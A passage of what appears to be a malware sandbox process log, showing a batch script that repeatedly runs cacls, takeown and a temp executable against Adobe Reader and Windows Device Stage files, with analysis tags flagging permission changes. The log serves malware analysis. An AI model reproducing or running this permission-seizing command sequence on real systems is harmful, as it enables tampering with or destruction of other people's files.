C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif"3⤵PID:1712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "review_shared.gif" -nobanner3⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "review_shared.gif" -nobanner4⤵PID:856
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1652
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif""2⤵PID:1464
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif" /E /G Admin:F /C3⤵PID:1636
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif"3⤵PID:1392
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner3⤵PID:1312
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner4⤵PID:944
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf""2⤵PID:1260
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf" /E /G Admin:F /C3⤵PID:1888
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf"3⤵PID:1180
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner3⤵PID:1744
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner4⤵PID:668
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf""2⤵PID:760
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf" /E /G Admin:F /C3⤵PID:288
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf"3⤵PID:1700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MyriadPro-Regular.otf" -nobanner3⤵PID:960
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MyriadPro-Regular.otf" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:856
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt""2⤵PID:1652
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt" /E /G Admin:F /C3⤵PID:1808
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt"3⤵
- Modifies file permissions
PID:1636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner3⤵PID:1392
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner4⤵PID:1912
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1312
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths""2⤵PID:2008
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths" /E /G Admin:F /C3⤵PID:1048
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths"3⤵
- Modifies file permissions
PID:1888
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "can03.ths" -nobanner3⤵PID:1180
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "can03.ths" -nobanner4⤵PID:2020
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1744
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp""2⤵PID:1640
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp"3⤵PID:1248
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner3⤵PID:836
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner4⤵PID:812
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT""2⤵PID:940
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT" /E /G Admin:F /C3⤵PID:1076
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT"3⤵PID:556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ROMAN.TXT" -nobanner3⤵PID:608
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ROMAN.TXT" -nobanner4⤵PID:1912
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT""2⤵PID:432
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT" /E /G Admin:F /C3⤵PID:1600
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT"3⤵PID:936
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1257.TXT" -nobanner3⤵PID:2028
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1257.TXT" -nobanner4⤵PID:2020
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵PID:508
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵PID:1576
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "background.png" -nobanner3⤵PID:960
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "background.png" -nobanner4⤵PID:2032
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:856
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""2⤵PID:1560
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C3⤵PID:1176
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1912
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:608
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:940
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:1600
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1180
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "watermark.png" -nobanner3⤵PID:668
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "watermark.png" -nobanner4⤵PID:1744
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""2⤵PID:860
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C3⤵PID:1700
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1712
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵PID:1080
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵PID:748
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵PID:952
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "device.png" -nobanner3⤵PID:608
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "device.png" -nobanner4⤵PID:1912
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""2⤵PID:1640
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:1600
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"3⤵PID:1492
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:2024
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:1744
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "background.png" -nobanner3⤵PID:856
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "background.png" -nobanner4⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""2⤵PID:1136
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C3⤵PID:1636
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1312
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:944
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1260
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵PID:508
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵PID:2020
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1492
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "tasks.xml" -nobanner3⤵PID:1744
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "tasks.xml" -nobanner4⤵PID:2024
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵PID:1560
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "superbar.png" -nobanner3⤵PID:1404
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "superbar.png" -nobanner4⤵PID:856
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵PID:1636
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1312
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "tasks.xml" -nobanner3⤵PID:944
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "tasks.xml" -nobanner4⤵PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1260
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat""2⤵PID:1708
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat" /E /G Admin:F /C3⤵PID:2020
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat"3⤵PID:1492
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "qmgr1.dat" -nobanner3⤵PID:1464
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "qmgr1.dat" -nobanner4⤵PID:1936
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵PID:1392
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵PID:812
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵PID:1712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "superbar.png" -nobanner3⤵PID:2004
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "superbar.png" -nobanner4⤵PID:856
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1156
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵PID:1112
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵PID:952
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵PID:608
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "tasks.xml" -nobanner3⤵PID:1312
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "tasks.xml" -nobanner4⤵PID:1176
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:944
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat""2⤵PID:1260
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat" /E /G Admin:F /C3⤵PID:1588
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat"3⤵PID:2020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "qmgr1.dat" -nobanner3⤵PID:1492
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "qmgr1.dat" -nobanner4⤵PID:1744
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""2⤵PID:1888
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C3⤵PID:508
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"3⤵
- Modifies file permissions
PID:812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1404
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:856
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵PID:836
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:1636
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
- Modifies file permissions
PID:1776
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "resource.xml" -nobanner3⤵PID:1912
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "resource.xml" -nobanner4⤵PID:1176
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:860
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵PID:1652
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵PID:668
-
-
